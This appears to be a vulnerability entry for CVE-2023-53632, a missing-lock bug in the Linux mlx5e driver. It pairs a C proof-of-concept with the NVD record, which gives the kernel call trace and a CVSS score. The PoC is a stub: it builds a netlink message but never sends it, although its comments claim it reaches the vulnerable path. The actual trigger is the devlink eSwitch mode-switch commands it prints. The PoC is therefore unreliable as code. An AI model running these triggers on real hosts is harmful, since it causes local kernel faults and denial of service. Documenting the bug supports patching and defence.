CVE-2023-53632

// PoC for CVE-2023-53632: Trigger RTNL assertion failure in mlx5e driver // This PoC demonstrates how to trigger the vulnerability by switching eSwitch mode // Requirements: Linux system with Mellanox ConnectX NIC, mlx5_core driver loaded // Local access with low privileges (devlink access) // Step 1: Check current eSwitch mode // Command: devlink dev eswitch show pci/0000:03:00.0 // Expected output showing current mode (switchdev or legacy) // Step 2: Trigger the vulnerability by switching eSwitch mode // This will trigger mlx5e_netdev_change_profile -> mlx5e_nic_init // -> mlx5e_set_xdp_feature -> xdp_set_features() without RTNL lock #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/socket.h> #include <linux/netlink.h> #include <linux/genetlink.h> // Simplified demonstration - actual exploit uses netlink to communicate with devlink // The key trigger is sending a DEVLINK_CMD_ESWITCH_SET command to change eSwitch mode int trigger_vulnerability() { int sock; struct sockaddr_nl addr; struct msghdr msg; struct nlmsghdr *nlh; struct genlmsghdr *glh; char buffer[4096]; // Create netlink socket sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC); if (sock < 0) { perror("socket"); return -1; } memset(&addr, 0, sizeof(addr)); addr.nl_family = AF_NETLINK; // Bind socket if (bind(sock, (struct sockaddr*)&addr, sizeof(addr)) < 0) { perror("bind"); close(sock); return -1; } // Prepare netlink message to change eSwitch mode // This triggers the vulnerable code path in mlx5e driver nlh = (struct nlmsghdr *)buffer; nlh->nlmsg_len = NLMSG_LENGTH(sizeof(struct genlmsghdr)); nlh->nlmsg_type = GENL_ID_CTRL; // Would be DEVLINK family ID in actual exploit nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; nlh->nlmsg_seq = 1; nlh->nlmsg_pid = getpid(); glh = (struct genlmsghdr *)NLMSG_DATA(nlh); // glh->cmd = DEVLINK_CMD_ESWITCH_SET; // Command to change eSwitch mode // Add attributes to specify mode change (switchdev -> legacy or vice versa) // Send message - this triggers the vulnerable path // In real scenario, use: devlink dev eswitch set pci/0000:03:00.0 mode legacy printf("Triggering eSwitch mode change...\n"); printf("Run: devlink dev eswitch set pci/<device> mode legacy\n"); printf("Or: devlink dev eswitch set pci/<device> mode switchdev\n"); close(sock); return 0; } int main() { printf("CVE-2023-53632 PoC - mlx5e RTNL Lock Missing Vulnerability\n"); printf("============================================================\n"); printf("This vulnerability triggers a kernel WARNING due to missing\n"); printf("RTNL lock when calling xdp_set_features() in mlx5e driver.\n\n"); trigger_vulnerability(); printf("\nExpected kernel output:\n"); printf("WARNING: CPU: X PID: Y at net/core/dev.c:1953\n"); printf("RTNL: assertion failed at net/core/dev.c\n"); return 0; } // Alternative simple trigger using devlink command line: // $ devlink dev eswitch set pci/0000:03:00.0 mode legacy // $ devlink dev eswitch set pci/0000:03:00.0 mode switchdev

{"cve": {"id": "CVE-2023-53632", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-07T16:15:46.283", "lastModified": "2026-02-03T22:26:22.773", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/mlx5e: Take RTNL lock when needed before calling xdp_set_features()\n\nHold RTNL lock when calling xdp_set_features() with a registered netdev,\nas the call triggers the netdev notifiers. This could happen when\nswitching from uplink rep to nic profile for example.\n\nThis resolves the following call trace:\n\nRTNL: assertion failed at net/core/dev.c (1953)\nWARNING: CPU: 6 PID: 112670 at net/core/dev.c:1953 call_netdevice_notifiers_info+0x7c/0x80\nModules linked in: sch_mqprio sch_mqprio_lib act_tunnel_key act_mirred act_skbedit cls_matchall nfnetlink_cttimeout act_gact cls_flower sch_ingress bonding ib_umad ip_gre rdma_ucm mlx5_vfio_pci ipip tunnel4 ip6_gre gre mlx5_ib vfio_pci vfio_pci_core vfio_iommu_type1 ib_uverbs vfio mlx5_core ib_ipoib geneve nf_tables ip6_tunnel tunnel6 iptable_raw openvswitch nsh rpcrdma ib_iser libiscsi scsi_transport_iscsi rdma_cm iw_cm ib_cm ib_core xt_conntrack xt_MASQUERADE nf_conntrack_netlink nfnetlink xt_addrtype iptable_nat nf_nat br_netfilter rpcsec_gss_krb5 auth_rpcgss oid_registry overlay zram zsmalloc fuse [last unloaded: ib_uverbs]\nCPU: 6 PID: 112670 Comm: devlink Not tainted 6.4.0-rc7_for_upstream_min_debug_2023_06_28_17_02 #1\nHardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS rel-1.13.0-0-gf21b5a4aeb02-prebuilt.qemu.org 04/01/2014\nRIP: 0010:call_netdevice_notifiers_info+0x7c/0x80\nCode: 90 ff 80 3d 2d 6b f7 00 00 75 c5 ba a1 07 00 00 48 c7 c6 e4 ce 0b 82 48 c7 c7 c8 f4 04 82 c6 05 11 6b f7 00 01 e8 a4 7c 8e ff <0f> 0b eb a2 0f 1f 44 00 00 55 48 89 e5 41 54 48 83 e4 f0 48 83 ec\nRSP: 0018:ffff8882a21c3948 EFLAGS: 00010282\nRAX: 0000000000000000 RBX: ffffffff82e6f880 RCX: 0000000000000027\nRDX: ffff88885f99b5c8 RSI: 0000000000000001 RDI: ffff88885f99b5c0\nRBP: 0000000000000028 R08: ffff88887ffabaa8 R09: 0000000000000003\nR10: ffff88887fecbac0 R11: ffff88887ff7bac0 R12: ffff8882a21c3968\nR13: ffff88811c018940 R14: 0000000000000000 R15: ffff8881274401a0\nFS: 00007fe141c81800(0000) GS:ffff88885f980000(0000) knlGS:0000000000000000\nCS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 00007f787c28b948 CR3: 000000014bcf3005 CR4: 0000000000370ea0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nCall Trace:\n <TASK>\n ? __warn+0x79/0x120\n ? call_netdevice_notifiers_info+0x7c/0x80\n ? report_bug+0x17c/0x190\n ? handle_bug+0x3c/0x60\n ? exc_invalid_op+0x14/0x70\n ? asm_exc_invalid_op+0x16/0x20\n ? call_netdevice_notifiers_info+0x7c/0x80\n ? call_netdevice_notifiers_info+0x7c/0x80\n call_netdevice_notifiers+0x2e/0x50\n mlx5e_set_xdp_feature+0x21/0x50 [mlx5_core]\n mlx5e_nic_init+0xf1/0x1a0 [mlx5_core]\n mlx5e_netdev_init_profile+0x76/0x110 [mlx5_core]\n mlx5e_netdev_attach_profile+0x1f/0x90 [mlx5_core]\n mlx5e_netdev_change_profile+0x92/0x160 [mlx5_core]\n mlx5e_netdev_attach_nic_profile+0x1b/0x30 [mlx5_core]\n mlx5e_vport_rep_unload+0xaa/0xc0 [mlx5_core]\n __esw_offloads_unload_rep+0x52/0x60 [mlx5_core]\n mlx5_esw_offloads_rep_unload+0x52/0x70 [mlx5_core]\n esw_offloads_unload_rep+0x34/0x70 [mlx5_core]\n esw_offloads_disable+0x2b/0x90 [mlx5_core]\n mlx5_eswitch_disable_locked+0x1b9/0x210 [mlx5_core]\n mlx5_devlink_eswitch_mode_set+0xf5/0x630 [mlx5_core]\n ? devlink_get_from_attrs_lock+0x9e/0x110\n devlink_nl_cmd_eswitch_set_doit+0x60/0xe0\n genl_family_rcv_msg_doit.isra.0+0xc2/0x110\n genl_rcv_msg+0x17d/0x2b0\n ? devlink_get_from_attrs_lock+0x110/0x110\n ? devlink_nl_cmd_eswitch_get_doit+0x290/0x290\n ? devlink_pernet_pre_exit+0xf0/0xf0\n ? genl_family_rcv_msg_doit.isra.0+0x110/0x110\n netlink_rcv_skb+0x54/0x100\n genl_rcv+0x24/0x40\n netlink_unicast+0x1f6/0x2c0\n netlink_sendmsg+0x232/0x4a0\n sock_sendmsg+0x38/0x60\n ? _copy_from_user+0x2a/0x60\n __sys_sendto+0x110/0x160\n ? __count_memcg_events+0x48/0x90\n ? handle_mm_fault+0x161/0x260\n ? do_user_addr_fault+0x278/0x6e0\n __x64_sys_sendto+0x20/0x30\n do_syscall_64+0x3d/0x90\n entry_SYSCALL_64_after_hwframe+0x46/0xb0\nRIP: 0033\n---truncated---"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "nega ... 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